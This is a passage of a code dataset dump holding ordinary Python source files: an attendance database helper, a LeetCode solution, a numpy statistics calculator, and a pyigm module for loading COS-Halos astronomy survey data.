cur.execute(sql)\n data = cur.fetchall()\n sql = \"SELECT date,\" + colname + \" from TimeOUT\"\n cur.execute(sql)\n data1 = cur.fetchall()\n for i in data:\n attend[i[0]] = [i[1]]\n for i in data1:\n attend[i[0]].append(i[1])\n return attend\n\n\ndef getlist():\n name, empid, age, gender, contact = [], [], [], [], []\n conn = db.connect('Database.db')\n cur = conn.cursor()\n cur.execute(\"SELECT name,empid,age,gender,contact from employee\")\n while True:\n try:\n data = cur.fetchone()\n if data == None:\n raise Exception(\"End of line error!\")\n elif data[1] == 0:\n pass\n else:\n name.append(data[0])\n empid.append(str(data[1]))\n age.append(str(data[2]))\n gender.append(data[3])\n contact.append(str(data[4]))\n except Exception:\n break\n length = len(name)\n return length, name, empid, age, gender, contact\n","repo_name":"sadhvikreddy/AttendanceUsingFacialRecognition","sub_path":"Codes/RetrivefrmDB.py","file_name":"RetrivefrmDB.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23256029647","text":"class Solution(object):\n def plusOne(self, digits):\n \"\"\"\n :type digits: List[int]\n :rtype: List[int]\n \"\"\"\n digits[-1] += 1\n i = -1\n while i:\n if digits[i] == 10 and abs(i) == len(digits):\n digits[i] = 1\n digits.append(0)\n break\n if digits[i] == 10:\n digits[i] = 0\n i -= 1\n digits[i] += 1\n else:\n break\n return digits\n\nprint(Solution().plusOne([1,2,3]))\nprint(1)\n\n\n","repo_name":"JuwuPu/Leetcode","sub_path":"Leetcode/Easy/Plus One.py","file_name":"Plus One.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"38731411341","text":"############################\n# @author Jack Steussie #\n# @email jsteussi@ucsd.edu #\n############################\n\nimport numpy as np\n\ndef calculate(lst):\n ''' Takes input of a list containing 9 digits, converts it to a 3 x 3 numpy\n array and returns a dictionary containing the mean, variance, standard\n deviation, max, min and sum along both axes and for the flattened\n matrix. \n\n @param list: list of 9 digits\n @return: dictionary of lists containing the calculated statistics\n '''\n if len(lst) != 9:\n raise ValueError(\"List must contain nine numbers.\")\n array = np.array(lst).reshape((3, 3))\n calculations = {\n \"mean\": [\n np.mean(array, axis = 0).tolist(),\n np.mean(array, axis = 1).tolist(),\n np.mean(array.tolist())\n ],\n \"variance\": [\n np.var(array, axis = 0).tolist(),\n np.var(array, axis = 1).tolist(),\n np.var(array) .tolist() \n ],\n \"standard deviation\": [\n np.std(array, axis = 0).tolist(),\n np.std(array, axis = 1).tolist(),\n np.std(array).tolist() \n ], \n \"max\": [\n np.max(array, axis = 0).tolist(),\n np.max(array, axis = 1).tolist(),\n np.max(array).tolist() \n ], \n \"min\": [\n np.min(array, axis = 0).tolist(),\n np.min(array, axis = 1).tolist(),\n np.min(array).tolist() \n ], \n \"sum\": [\n np.sum(array, axis = 0).tolist(),\n np.sum(array, axis = 1).tolist(),\n np.sum(array).tolist() \n ], \n }\n \n return calculations","repo_name":"jacksteussie/DSCA","sub_path":"Data Analysis with Python/mean-variance-standard-deviation-calculator/mean_var_std.py","file_name":"mean_var_std.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73036752693","text":"\"\"\" Module for the COS-Halos survey\n\"\"\"\n\nfrom __future__ import print_function, absolute_import, division, unicode_literals\n\nimport numpy as np\nimport os, glob\nimport pdb\nimport warnings\nimport h5py\nimport json, yaml\n\nfrom astropy.io import fits, ascii\nfrom astropy import units as u \nfrom astropy.table import Table, Column\n\nfrom linetools.spectra import io as lsio\nfrom linetools.spectralline import AbsLine\nfrom linetools.analysis import absline as ltaa\nfrom linetools.analysis import abskin as laak\nfrom linetools.isgm.abscomponent import AbsComponent\n\nfrom pyigm.metallicity.pdf import MetallicityPDF, DensityPDF, GenericPDF\nfrom pyigm.cgm.cgmsurvey import CGMAbsSurvey\nfrom pyigm.field.galaxy import Galaxy\nfrom .cgm import CGMAbsSys\nfrom pyigm.abssys.igmsys import IGMSystem\nimport pyigm\n\nclass COSHalos(CGMAbsSurvey):\n \"\"\"Inherits CGM Abs Survey\n\n Parameters:\n -----------\n fits_path : str, optional\n Path to the FITS data files for COS-Halos\n cdir : str, optional\n Path to the COS-Halos Dropbox\n kin_init_file : str, optional\n Path to kinematics file\n \"\"\"\n def __init__(self, cdir=None, fits_path=None, load=True, **kwargs):\n CGMAbsSurvey.__init__(self)\n self.survey = 'COS-Halos'\n self.ref = 'Tumlinson+11; Werk+12; Tumlinson+13; Werk+13; Werk+14'\n #\n if cdir is None:\n self.cdir = pyigm.__path__[0]+'/data/CGM/COS_Halos/'\n else:\n self.cdir = cdir\n # Summary Tables\n if fits_path is None:\n self.fits_path = self.cdir+'/Summary/'\n else:\n self.fits_path = fits_path\n try:\n self.werk14_cldy = Table.read(self.fits_path+'coshaloscloudysol_newphi.fits')\n except IOError:\n self.werk14_cldy = None\n # Kinematics\n self.kin_init_file = self.cdir+'/Kin/coshalo_kin_driver.dat'\n # Init?\n if load:\n self.load_sys(**kwargs)\n\n def load_single_fits(self, inp, skip_ions=False, verbose=True, **kwargs):\n \"\"\" Load a single COS-Halos sightline\n Appends to cgm_abs list\n\n Parameters\n ----------\n inp : tuple or str\n if tuple -- (field,gal_id)\n field: str \n Name of field (e.g. 'J0226+0015')\n gal_id: str \n Name of galaxy (e.g. '268_22')\n skip_ions : bool, optional\n Avoid loading the ions (not recommended)\n verbose : bool, optional\n \"\"\"\n # Parse input\n if isinstance(inp, basestring):\n fil = inp\n elif isinstance(inp, tuple):\n field, gal_id = inp\n tmp = self.fits_path+'/'+field+'.'+gal_id+'.fits.gz'\n fils = glob.glob(tmp)\n if len(fils) != 1:\n raise IOError('Bad field, gal_id: {:s}'.format(tmp))\n fil = fils[0]\n else:\n raise IOError('Bad input to load_single')\n\n # Read COS-Halos file\n if verbose:\n print('cos_halos: Reading {:s}'.format(fil))\n hdu = fits.open(fil)\n summ = Table(hdu[1].data)\n galx = Table(hdu[2].data)\n # Instantiate the galaxy\n gal = Galaxy((galx['RA'][0], galx['DEC'][0]), z=summ['ZFINAL'][0])\n gal.field = galx['FIELD'][0]\n gal.gal_id = galx['GALID'][0]\n # Galaxy properties\n gal.halo_mass = summ['LOGMHALO'][0]\n gal.stellar_mass = summ['LOGMFINAL'][0]\n gal.rvir = galx['RVIR'][0]\n gal.MH = galx['ABUN'][0]\n gal.flag_MH = galx['ABUN_FLAG'][0]\n gal.sdss_phot = [galx[key][0] for key in ['SDSSU','SDSSG','SDSSR','SDSSI','SDSSZ']]\n gal.sdss_phot_sig = [galx[key][0] for key in ['SDSSU_ERR','SDSSG_ERR','SDSSR_ERR','SDSSI_ERR','SDSSZ_ERR']]\n gal.sfr = (galx['SFR_UPLIM'][0], galx['SFR'][0],\n galx['SFR_FLAG'][0]) # FLAG actually gives method used\n gal.ssfr = galx['SSFR'][0]\n # Instantiate the IGM System\n igm_sys = IGMSystem((galx['QSORA'][0], galx['QSODEC'][0]),\n summ['ZFINAL'][0], [-600, 600.]*u.km/u.s,\n abs_type='CGM')\n igm_sys.zqso = galx['ZQSO'][0]\n # Instantiate\n cgabs = CGMAbsSys(gal, igm_sys, name=gal.field+'_'+gal.gal_id, **kwargs)\n # EBV\n cgabs.ebv = galx['EBV'][0]\n # Ions\n if skip_ions is True:\n # NHI\n dat_tab = Table(hdu[3].data)\n #if dat_tab['Z'] != 1:\n # raise ValueError(\"Uh oh\")\n cgabs.igm_sys.NHI = dat_tab['CLM'][0]\n cgabs.igm_sys.sig_NHI = dat_tab['SIG_CLM'][0]\n cgabs.igm_sys.flag_NHI = dat_tab['FLG_CLM'][0]\n self.cgm_abs.append(cgabs)\n return\n all_Z = []\n all_ion = []\n for jj in range(summ['NION'][0]):\n iont = hdu[3+jj].data\n if jj == 0: # Generate new Table\n dat_tab = Table(iont)\n else:\n try:\n dat_tab.add_row(Table(iont)[0])\n except:\n pdb.set_trace()\n all_Z.append(iont['ZION'][0][0])\n all_ion.append(iont['ZION'][0][1])\n # AbsLines\n abslines = []\n ntrans = len(np.where(iont['LAMBDA'][0] > 1.)[0])\n for kk in range(ntrans):\n flg = iont['FLG'][0][kk]\n # Fill in\n aline = AbsLine(iont['LAMBDA'][0][kk]*u.AA, closest=True)\n aline.attrib['flag_origCH'] = int(flg)\n aline.attrib['EW'] = iont['WOBS'][0][kk]*u.AA/1e3 # Observed\n aline.attrib['sig_EW'] = iont['SIGWOBS'][0][kk]*u.AA/1e3\n if aline.attrib['EW'] > 3.*aline.attrib['sig_EW']:\n aline.attrib['flag_EW'] = 1\n else:\n aline.attrib['flag_EW'] = 3\n # Force an upper limit (i.e. from a blend)\n if (flg == 2) or (flg == 4) or (flg == 6):\n aline.attrib['flag_EW'] = 3\n #\n aline.analy['vlim'] = [iont['VMIN'][0][kk],iont['VMAX'][0][kk]]*u.km/u.s\n aline.attrib['z'] = igm_sys.zabs\n aline.attrib['coord'] = igm_sys.coord\n # Check f\n if (np.abs(aline.data['f']-iont['FVAL'][0][kk])/aline.data['f']) > 0.001:\n Nscl = iont['FVAL'][0][kk] / aline.data['f']\n flag_f = True\n else:\n Nscl = 1.\n flag_f = False\n # Colm\n if ((flg % 2) == 0) or (flg == 15) or (flg == 13):\n flgN = 0\n print('Skipping column contribution from {:g} as NG for a line; flg={:d}'.format(iont['LAMBDA'][0][kk],flg))\n elif (flg == 1) or (flg == 3):\n flgN = 1\n elif (flg == 5) or (flg == 7):\n flgN = 3\n elif (flg == 9) or (flg == 11):\n flgN = 2\n else:\n pdb.set_trace()\n raise ValueError(\"Bad flag!\")\n if flgN == 3:\n aline.attrib['logN'] = iont['LOGN2SIG'][0][kk] + np.log10(Nscl)\n aline.attrib['sig_logN'] = 9.\n elif flgN == 0: # Not for N measurement\n pass\n else:\n aline.attrib['logN'] = iont['LOGN'][0][kk] + np.log10(Nscl)\n aline.attrib['sig_logN'] = iont['SIGLOGN'][0][kk]\n aline.attrib['flag_N'] = int(flgN)\n #pdb.set_trace()\n if flgN != 0:\n _,_ = ltaa.linear_clm(aline.attrib)\n # Append\n abslines.append(aline)\n # Component\n if len(abslines) == 0:\n comp = AbsComponent(cgabs.igm_sys.coord,\n (iont['ZION'][0][0],iont['ZION'][0][1]),\n igm_sys.zabs, igm_sys.vlim)\n\n else:\n comp = AbsComponent.from_abslines(abslines, chk_vel=False)\n if comp.Zion != (1,1):\n comp.synthesize_colm() # Combine the abs lines\n if np.abs(comp.logN - float(iont['CLM'][0])) > 0.15:\n print(\"New colm for ({:d},{:d}) and sys {:s} is {:g} different from old\".format(\n comp.Zion[0], comp.Zion[1], cgabs.name, comp.logN - float(iont['CLM'][0])))\n if comp.flag_N != iont['FLG_CLM'][0]:\n if comp.flag_N == 0:\n pass\n else:\n print(\"New flag for ({:d},{:d}) and sys {:s} is different from old\".format(\n comp.Zion[0], comp.Zion[1], cgabs.name))\n pdb.set_trace()\n #_,_ = ltaa.linear_clm(comp)\n cgabs.igm_sys.add_component(comp)\n self.cgm_abs.append(cgabs)\n\n # Add Z,ion\n dat_tab.add_column(Column(all_Z,name='Z'))\n dat_tab.add_column(Column(all_ion,name='ion'))\n # Rename\n dat_tab.rename_column('LOGN','indiv_logN')\n dat_tab.rename_column('SIGLOGN','indiv_sig_logN')\n dat_tab.rename_column('CLM','logN')\n dat_tab.rename_column('SIG_CLM','sig_logN')\n dat_tab.rename_column('FLG_CLM','flag_N')\n # Set\n self.cgm_abs[-1].igm_sys._ionN = dat_tab\n # NHI\n HI = (dat_tab['Z'] == 1) & (dat_tab['ion'] == 1)\n if np.sum(HI) > 0:\n self.cgm_abs[-1].igm_sys.NHI = dat_tab[HI]['logN'][0]\n self.cgm_abs[-1].igm_sys.sig_NHI = dat_tab[HI]['sig_logN'][0]\n self.cgm_abs[-1].igm_sys.flag_NHI = dat_tab[HI]['flag_N'][0]\n else:\n warnings.warn(\"No HI measurement for {}\".format(self.cgm_abs[-1]))\n self.cgm_abs[-1].igm_sys.flag_NHI = 0\n\n #if self.cgm_abs[-1].name == 'J0950+4831_177_27':\n # pdb.set_trace()\n\n def load_mega(self, data_file=None, cosh_dct=None, test=False, **kwargs):\n \"\"\" Load the data for COS-Halos from FITS files taken from the mega structure\n\n Parameters\n ----------\n data_file : string\n Name of data file\n pckl_fil : string\n Name of file for pickling\n \"\"\"\n warnings.warn(\"This method will be DEPRECATED\")\n # Loop\n if test is True:\n cos_files = glob.glob(self.fits_path+'/J09*.fits.gz') # For testing\n elif 'Dwarfs' in self.fits_path: # COS-Dwarfs\n cos_files = glob.glob(self.fits_path+'/*.fits')\n else: # COS-Halos\n cos_files = glob.glob(self.fits_path+'/J*.fits.gz')\n # Read\n for fil in cos_files:\n self.load_single_fits(fil, **kwargs)\n # Werk+14\n if ('Halos' in self.fits_path) and (self.werk14_cldy is not None):\n self.load_werk14()\n\n def load_werk14(self):\n \"\"\" Load up the Werk+14 results\n \"\"\"\n cldy_names = np.array([row['FIELD'].strip()+'_'+row['GALID'].strip() for row in self.werk14_cldy])\n for cgm_abs in self.cgm_abs:\n igm_sys = cgm_abs.igm_sys\n # Metallicity\n igm_sys.ZH = -99.\n #mtc = np.where((self.werk14_cldy['GALID'] == gal.gal_id) &\n # (self.werk14_cldy['FIELD'] == gal.field))[0]\n mtc = np.where(cldy_names == cgm_abs.name)[0]\n if len(mtc) == 1:\n # Metallicity\n igm_sys.werk14_ZH = self.werk14_cldy['ZBEST'][mtc][0]\n igm_sys.werk14_ZHmnx = [self.werk14_cldy['ZMIN'][mtc][0],\n self.werk14_cldy['ZMAX'][mtc][0]]\n igm_sys.ZH = igm_sys.werk14_ZH\n # NHI\n igm_sys.werk14_NHI = self.werk14_cldy['NHI_BEST'][mtc][0]\n # NH\n igm_sys.werk14_NH = np.log10(self.werk14_cldy['NH_BEST'][mtc][0])\n igm_sys.werk14_NHmnx = [np.log10(self.werk14_cldy['NH_LOW'][mtc][0]),\n np.log10(self.werk14_cldy['NH_HIGH'][mtc][0])]\n else:\n print('No Werk+14 Cloudy solution for {:s}'.format(cgm_abs.name))\n # Hand edit for J0914+2823_41_27\n if cgm_abs.name == 'J0914+2823_41_27':\n igm_sys.werk14_ZH = -0.8\n\n def load_sys(self, tfile=None, empty=True, debug=False, **kwargs):\n \"\"\" Load the COS-Halos survey from JSON files\n\n Empties the list\n\n Parameters\n ----------\n tfile : str, optional\n empty : bool, optional\n Empty the list\n debug : bool, optional\n Only load the first 5\n\n Returns\n -------\n\n \"\"\"\n import tarfile\n import json\n from linetools.lists.linelist import LineList\n llist = LineList('ISM')\n\n # Tar file\n if tfile is None:\n tarfiles = glob.glob(self.cdir+'cos-halos_systems.v*.tar.gz')\n tarfiles.sort()\n tfile = tarfiles[-1]\n print(\"Be patient, using {:s} to load\".format(tfile))\n # Empty\n if empty:\n self.cgm_abs = []\n # Load\n tar = tarfile.open(tfile)\n for kk, member in enumerate(tar.getmembers()):\n if '.' not in member.name:\n print('Skipping a likely folder: {:s}'.format(member.name))\n continue\n # Debug\n if debug and (kk == 5):\n break\n # Extract\n f = tar.extractfile(member)\n tdict = json.load(f)\n # Generate\n cgmsys = CGMAbsSys.from_dict(tdict, chk_vel=False, chk_sep=False, chk_data=False,\n use_coord=True, use_angrho=True,\n linelist=llist, **kwargs)\n self.cgm_abs.append(cgmsys)\n tar.close()\n # Werk+14\n if ('Halos' in self.fits_path) and (self.werk14_cldy is not None):\n self.load_werk14()\n\n def load_mtl_pdfs(self, ZH_fil, keep_all=False):\n \"\"\" Load the metallicity PDFs from an input file (usually hdf5)\n\n Parameters\n ----------\n ZH_fil : str\n keep_all : bool, optional\n Save the full metallicity data?\n\n \"\"\"\n fh5=h5py.File(ZH_fil, 'r')\n mkeys = fh5['met'].keys()\n mkeys.remove('left_edge_bins')\n mkeys.remove('right_edge_bins')\n mkeys = np.array(mkeys)\n\n # Loop\n for cgm_abs in self.cgm_abs:\n # Match?\n mt = np.where(mkeys == cgm_abs.name)[0]\n if len(mt) == 0:\n print('No metallicity info for {:s}'.format(cgm_abs.name))\n print('Skipping..')\n continue\n # Z/H\n cgm_abs.igm_sys.metallicity = MetallicityPDF(fh5['met']['left_edge_bins']+\n fh5['met']['left_edge_bins'].attrs['BINSIZE']/2.,\n fh5['met'][mkeys[mt][0]])\n cgm_abs.igm_sys.metallicity.inputs = {}\n for key in fh5['inputs'][cgm_abs.name]:\n cgm_abs.igm_sys.metallicity.inputs[key] = fh5['inputs'][cgm_abs.name][key].value\n # NHI\n cgm_abs.igm_sys.NHIPDF = GenericPDF(fh5['col']['left_edge_bins']+\n fh5['col']['left_edge_bins'].attrs['BINSIZE']/2.,\n fh5['col'][mkeys[mt][0]])\n # Density\n cgm_abs.igm_sys.density = DensityPDF(fh5['dens']['left_edge_bins']+\n fh5['dens']['left_edge_bins'].attrs['BINSIZE']/2.,\n fh5['dens'][mkeys[mt][0]])\n\n \n ########################## ##########################\n def load_abskin(self, flg=1, kin_file=None, kin_init_file=None):\n \"\"\" Load the absorption-line kinematic data for COS-Halos (or COS-Dwarfs)\n Calculate from scratch if needed\n\n Parameters\n ----------\n flg: int, optional \n Flag indicating how to load the data\n 0 = Load from file\n 1 = Generate\n kin_init_file: str\n Name of kinematics driver file\n kin_file: str\n Name of kinematics output file [First made for John Forbes]\n \"\"\"\n \n if flg == 0: # Load\n if kin_file is None:\n kin_file = os.path.abspath(os.environ.get('DROPBOX_DIR')+'/COS-Halos/Kin/'+\n 'COS-Halos_kin.fits')\n hdu = fits.open(kin_file)\n # Metals\n metals = Table(hdu[1].data)\n for row in metals:\n mt = np.where( (row['field']==self.field) & \n (row['gal_id']==self.gal_id))[0]\n pdb.set_trace()\n\n elif flg == 1: # Generate\n # Read init file\n if kin_init_file is None:\n kin_init_file = self.kin_init_file\n kin_init = ascii.read(kin_init_file,guess=False)\n \n # Loop to my loop\n fgal = zip(self.field, self.gal_id)\n for qq,cgm_abs in enumerate(self.cgm_abs):\n # Match to kin_init\n mt = np.where((kin_init['QSO'] == cgm_abs.field) &\n (kin_init['Galaxy'] == cgm_abs.gal_id))[0]\n if len(mt) == 0:\n warnings.warn('load_kin: No kinematics for {:s}, {:s}'.format(cgm_abs.field,\n cgm_abs.gal_id))\n continue\n mt = mt[0]\n\n # Metals\n if kin_init['flgL'][mt] > 0:\n wrest = kin_init['mtl_wr'][mt]*u.AA \n if wrest.value <= 1:\n pdb.set_trace()\n spec = self.load_bg_cos_spec(qq, wrest)\n vmnx = (kin_init['L_vmn'][mt], kin_init['L_vmx'][mt])*u.km/u.s\n # Process\n aline = AbsLine(wrest)\n aline.analy['spec'] = spec\n aline.analy['vlim'] = vmnx\n aline.attrib['z'] = cgm_abs.igm_sys.zabs\n fx, sig, cdict = aline.cut_spec()\n # Kin\n stau = laak.generate_stau(cdict['velo'], fx, sig)\n cgm_abs.igm_sys.kin['Metal'] = laak.pw97_kin(cdict['velo'], stau, per=0.07)\n cgm_abs.igm_sys.kin['Metal'].update(laak.cgm_kin(cdict['velo'], stau, per=0.07))\n # Save spec\n #cgm_abs.igm_sys.kin['Metal']['spec'] = spec\n else:\n cgm_abs.igm_sys.kin['Metal'] = {}\n\n # HI\n if kin_init['flgH'][mt] > 0:\n wrest = kin_init['HI_wrest'][mt]*u.AA \n if wrest.value <= 1:\n pdb.set_trace()\n spec = self.load_bg_cos_spec( qq, wrest )\n if spec is None:\n pdb.set_trace()\n vmnx = (kin_init['HIvmn'][mt], kin_init['HIvmx'][mt])*u.km/u.s\n # Process\n aline = AbsLine(wrest)\n aline.analy['spec'] = spec\n aline.analy['vlim'] = vmnx\n aline.attrib['z'] = cgm_abs.igm_sys.zabs\n fx, sig, cdict = aline.cut_spec()\n # Kin\n stau = laak.generate_stau(cdict['velo'], fx, sig)\n cgm_abs.igm_sys.kin['HI'] = laak.pw97_kin(cdict['velo'], stau, per=0.07)\n cgm_abs.igm_sys.kin['HI'].update(laak.cgm_kin(cdict['velo'], stau, per=0.07))\n else:\n # Fill with zeros (for the keys)\n cgm_abs.igm_sys.kin['HI'] = {}\n\n def load_gal_spec(self, inp):\n \"\"\" Load the galaxy spectrum\n\n Parameters\n ----------\n inp : int or tuple\n int -- Index of the cgm_abs list\n tuple -- (field,gal_id)\n\n Returns\n ----------\n spec : XSpectrum1D\n Splices the blue and red side for LRIS\n \"\"\"\n from linetools.spectra import utils as ltsu\n # Init\n cgm_abs = self[inp]\n # Directories\n galdir = self.cdir+'/Galaxies/'\n #fielddir = 'fields/'+cgm_abs.field+'/'\n #sysdir = cgm_abs.gal_id+'/spec1d/'\n sysname = cgm_abs.galaxy.field+'_'+cgm_abs.galaxy.gal_id\n\n # Find files\n lris_files = glob.glob(galdir+sysname+'*corr.fits.gz')\n if len(lris_files) == 0:\n raise ValueError('No LRIS files! {:s}'.format(galdir+sysname))\n elif len(lris_files) == 2:\n lris_files.sort()\n specb = lsio.readspec(lris_files[0]) \n specr = lsio.readspec(lris_files[1]) \n spec = ltsu.splice_two(specb, specr)\n else:\n raise ValueError('Not sure what happened')\n\n # Return\n return spec\n\n\n def load_bg_cos_spec(self, inp, wrest):\n \"\"\" Load the absorption-line kinematic data for COS-Halos\n Calculate from scratch if needed\n\n Parameters\n ----------\n inp : int or tuple\n int -- Index of the cgm_abs list\n tuple -- (field,gal_id)\n wrest : Quantity\n Rest wavelength for spectrum of interest\n \n JXP on 11 Dec 2014\n \"\"\"\n cgm_abs = self[inp]\n # Directories\n sysdir = cgm_abs.galaxy.gal_id+'_z{:5.3f}'.format(cgm_abs.galaxy.z)\n sysname = cgm_abs.galaxy.field+'_'+sysdir\n\n # Transition\n templ_fil = self.cdir+'/Targets/system_template.lst'\n tab = ascii.read(templ_fil)\n mt = np.argmin(np.abs(tab['col1']-wrest.value))\n if np.abs(tab['col1'][mt]-wrest.value) > 1e-2:\n raise ValueError('get_coshalo_spec: wrest={:g} not found!'.format(wrest))\n trans = tab['col2'][mt]+tab['col3'][mt]\n\n # Read\n slicedir = self.cdir+'/Targets/fitting/'\n slicename = sysname+'_'+trans+'_slice.fits'\n try:\n spec = lsio.readspec(slicedir+slicename,\n flux_tag='FNORM', sig_tag='ENORM')\n except IOError:\n warnings.warn(\"File {:s} not found\".format(slicedir+slicename))\n return None\n # Fill velocity\n spec.velo = spec.relative_vel((cgm_abs.galaxy.z+1)*wrest)\n \n #spec.qck_plot()\n return spec\n\n def stack_plot(self, inp, use_lines=None, ymnx=None, add_lines=None, **kwargs):\n \"\"\" Generate a stack plot of the key lines for a given COS-Halos system\n Parameters\n ----------\n inp : int or tuple\n int -- Index of the cgm_abs list\n tuple -- (field,gal_id)\n add_lines : list, optional\n List of additional lines to plot\n \"\"\"\n # Init\n from linetools.analysis import plots as ltap\n if ymnx is None:\n ymnx=(-0.1,1.2)\n cgm_abs = self[inp]\n abs_lines = []\n # Setup the lines (defaults to a key seto)\n if use_lines is None:\n use_lines = [1215.6700, 1025.7223, 1334.5323, 977.020, 1031.9261, 1037.6167,\n 1260.4221, 1206.500, 1393.7550, 2796.352]*u.AA\n if add_lines is not None:\n use_lines = list(use_lines.value) + add_lines\n use_lines.sort()\n use_lines = use_lines*u.AA\n for iline in use_lines:\n spec = self.load_bg_cos_spec(inp, iline)\n if spec is None:\n print('Skipping {:g}. Assuming no coverage'.format(iline))\n aline = AbsLine(iline, closest=True)\n aline.analy['spec'] = spec\n aline.attrib['z'] = cgm_abs.galaxy.z\n abs_lines.append(aline)\n # Execute\n ltap.stack_plot(abs_lines, vlim=[-400., 400]*u.km/u.s, ymnx=ymnx, **kwargs)\n\n def write_survey(self, outfil='COS-Halos_sys.tar.gz'):\n \"\"\" Write the survey to a tarball of JSON files\n\n Parameters\n ----------\n outfil : str, optional\n \"\"\"\n self.to_json_tarball(outfil)\n\n def __getitem__(self, inp):\n \"\"\"Grab CgmAbs Class from the list\n\n Parameters:\n -----------\n ion: tuple\n tuple: (field,gal_id)\n str: field_gal_id\n\n Returns:\n ----------\n cgm_abs\n \"\"\"\n if isinstance(inp,int):\n return self.cgm_abs[inp]\n elif isinstance(inp,tuple):\n if not isinstance(inp[0], basestring):\n raise IOError(\"Bad input\")\n if not isinstance(inp[1], basestring):\n raise IOError(\"Bad input\")\n field = inp[0]\n galid = inp[1]\n elif isinstance(inp, basestring):\n # Split at the first _\n under = inp.find('_')\n field = inp[:under]\n galid = inp[under+1:]\n else:\n raise IOError(\"Bad input\")\n # Generate lists\n fields = np.array([cgm_abs.galaxy.field for cgm_abs in self.cgm_abs])\n galids = np.array([cgm_abs.galaxy.gal_id for cgm_abs in self.cgm_abs])\n #\n mt = np.where( (fields == field) & (galids == galid))[0]\n if len(mt) == 0:\n warnings.warn('CosHalos: CGM not found')\n return None\n elif len(mt) == 1:\n return self.cgm_abs[mt[0]]\n else:\n raise ValueError(\"Multiple hits. Should not happen\")\n\n\ndef update_cos_halos(v10=False, v11=True):\n \"\"\" Updates the JSON tarball\n Returns\n -------\n \"\"\"\n print(\"See the COS-Halos_database notebook for details\")\n\n # Generate v1.0\n if v10:\n print(\"Generate v1.0 of the JSON tarball\")\n cos_halos = COSHalos()\n cos_halos.load_mega()\n tarfil = cos_halos.cdir+'/cos-halos_systems.v1.0.tar.gz'\n cos_halos.write_survey(tarfil)\n del cos_halos\n\n # Generate v1.1 which uses the NHI measurements from P+16 and\n # modifies a few ions and transitions as limits or NG\n if v11:\n print(\"Generate v1.1 of the JSON tarball\")\n cos_halos_v10 = COSHalos(load=False)\n tfile = pyigm.__path__[0]+'/data/CGM/COS_Halos/cos-halos_systems.v1.0.tar.gz'\n cos_halos_v10.load_sys(tfile=tfile)\n # NHI\n LLS_file = pyigm.__path__[0]+'/data/CGM/COS_Halos/COS_Halos_LLS.json'\n with open(LLS_file) as json_file:\n fdict = json.load(json_file)\n # Loop on systems\n names = cos_halos_v10.name\n for key in fdict.keys():\n # Match\n mt = np.where(names == key)[0]\n if len(mt) != 1:\n raise ValueError(\"No match?!\")\n # Fill in\n if fdict[key]['flag_NHI'] == 1:\n cos_halos_v10.cgm_abs[mt[0]].igm_sys.NHI = fdict[key]['fit_NHI'][0]\n cos_halos_v10.cgm_abs[mt[0]].igm_sys.sig_NHI = [fdict[key]['fit_NHI'][0]-fdict[key]['fit_NHI'][1],\n fdict[key]['fit_NHI'][2]-fdict[key]['fit_NHI'][0]]\n cos_halos_v10.cgm_abs[mt[0]].igm_sys.flag_NHI = 1\n elif fdict[key]['flag_NHI'] == 2:\n cos_halos_v10.cgm_abs[mt[0]].igm_sys.NHI = fdict[key]['fit_NHI'][1]\n cos_halos_v10.cgm_abs[mt[0]].igm_sys.flag_NHI = 2\n elif fdict[key]['flag_NHI'] == 3:\n cos_halos_v10.cgm_abs[mt[0]].igm_sys.NHI = fdict[key]['fit_NHI'][2]\n cos_halos_v10.cgm_abs[mt[0]].igm_sys.flag_NHI = 3\n # Bad ions\n filename = pyigm.__path__[0]+'/data/CGM/COS_Halos/COS_Halos_ions_updates_v1.0.yaml'\n with open(filename, 'r') as infile:\n up_ion_data = yaml.load(infile)\n for key in up_ion_data.keys():\n # Match\n mt = np.where(names == key)[0]\n if len(mt) != 1:\n raise ValueError(\"No match?!\")\n igm_sys = cos_halos_v10.cgm_abs[mt[0]].igm_sys\n # Fill in\n for mod_type in up_ion_data[key].keys():\n if mod_type == 'ion':\n for ionkey in up_ion_data[key][mod_type].keys():\n Zion = tuple([int(ii) for ii in ionkey.split(',')])\n #\n Zicomp = [comp.Zion for comp in igm_sys._components]\n mtZi = Zicomp.index(Zion)\n # Set\n for att_key in up_ion_data[key][mod_type][ionkey].keys():\n if att_key == 'flag_N':\n #cos_halos_v10.cgm_abs[mt[0]].igm_sys._components[mtZi].flag_N = up_ion_data[key][mod_type][ionkey][att_key]\n igm_sys._components[mtZi].flag_N = up_ion_data[key][mod_type][ionkey][att_key]\n else:\n raise ValueError(\"Bad key for attribute\")\n print(cos_halos_v10.cgm_abs[mt[0]].igm_sys._components[mtZi])\n elif mod_type == 'trans':\n for transkey in up_ion_data[key][mod_type].keys():\n # Update AbsLine\n lines = igm_sys.list_of_abslines()\n trans = [iline.name for iline in lines]\n aline = lines[trans.index(transkey)]\n comp = igm_sys.get_comp_from_absline(aline) # Grab it now before it changes\n if att_key == 'flag_N':\n aline.attrib['flag_N'] = up_ion_data[key][mod_type][transkey][att_key]\n # Remake component\n try:\n comp.synthesize_colm(overwrite=True)\n except ValueError:\n pdb.set_trace()\n else:\n raise ValueError(\"Bad mod_type\")\n # Metallicity\n mtlfil = pyigm.__path__[0]+'/data/CGM/COS_Halos/COS_Halos_MTL_final.hdf5'\n cos_halos_v10.load_mtl_pdfs(mtlfil)\n #\n for cgm_abs in cos_halos_v10.cgm_abs:\n if hasattr(cgm_abs.igm_sys, 'metallicity'):\n cgm_abs.igm_sys.ZH = cgm_abs.igm_sys.metallicity.medianZH\n cgm_abs.igm_sys.sig_ZH = cgm_abs.igm_sys.metallicity.confidence_limits(0.68)\n # Write\n tarfil = pyigm.__path__[0]+'/data/CGM/COS_Halos/cos-halos_systems.v1.1.tar.gz'\n cos_halos_v10.write_survey(tarfil)\n\n\nclass COSDwarfs(COSHalos):\n \"\"\"Inherits COS Halos Class\n\n Attributes:\n -----------\n fits_path: str, optional\n Path to the FITS data files for COS-Halos\n \"\"\"\n # Initialize with a .dat file\n def __init__(self, tree=None, fits_path=None, kin_init_file=None, cdir=None):\n\n # Generate with type\n CGMAbsSurvey.__init__(self)\n self.survey = 'COS-Dwarfs'\n self.ref = 'Bordoloi+14'\n if cdir is None:\n self.cdir = 